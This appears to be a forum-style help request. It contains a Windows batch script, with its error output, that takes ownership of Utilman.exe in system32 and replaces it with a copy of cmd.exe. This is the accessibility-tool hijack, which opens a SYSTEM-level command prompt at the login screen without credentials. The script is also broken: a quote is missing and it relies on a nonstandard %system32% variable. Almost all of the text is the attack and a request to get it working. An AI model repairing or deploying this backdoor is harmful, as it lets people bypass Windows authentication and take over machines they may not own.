[my error]

SUCCESS: The file (or folder): "C:\Windows\system32\Utilman.exe" now owned by us
er "user-PC\user".
(user): No mapping between account names and security IDs was done.
Successfully processed 0 files; Failed processing 1 files
Access is denied.
        1 file(s) copied.
A duplicate file name exists, or the file
cannot be found.
changing file names...
Press any key to continue . . ..

[code i have to work with]

@ECHO OFF

takeown /f "%system32%Utilman.exe
icacls "%system32%Utilman.exe" /grant (user):F
rename %system32%Utilman.exe Utilman2.exe
copy %system32%cmd.exe %system32%cmd5.exe
rename %system32%cmd5.exe Utilman.exe
pause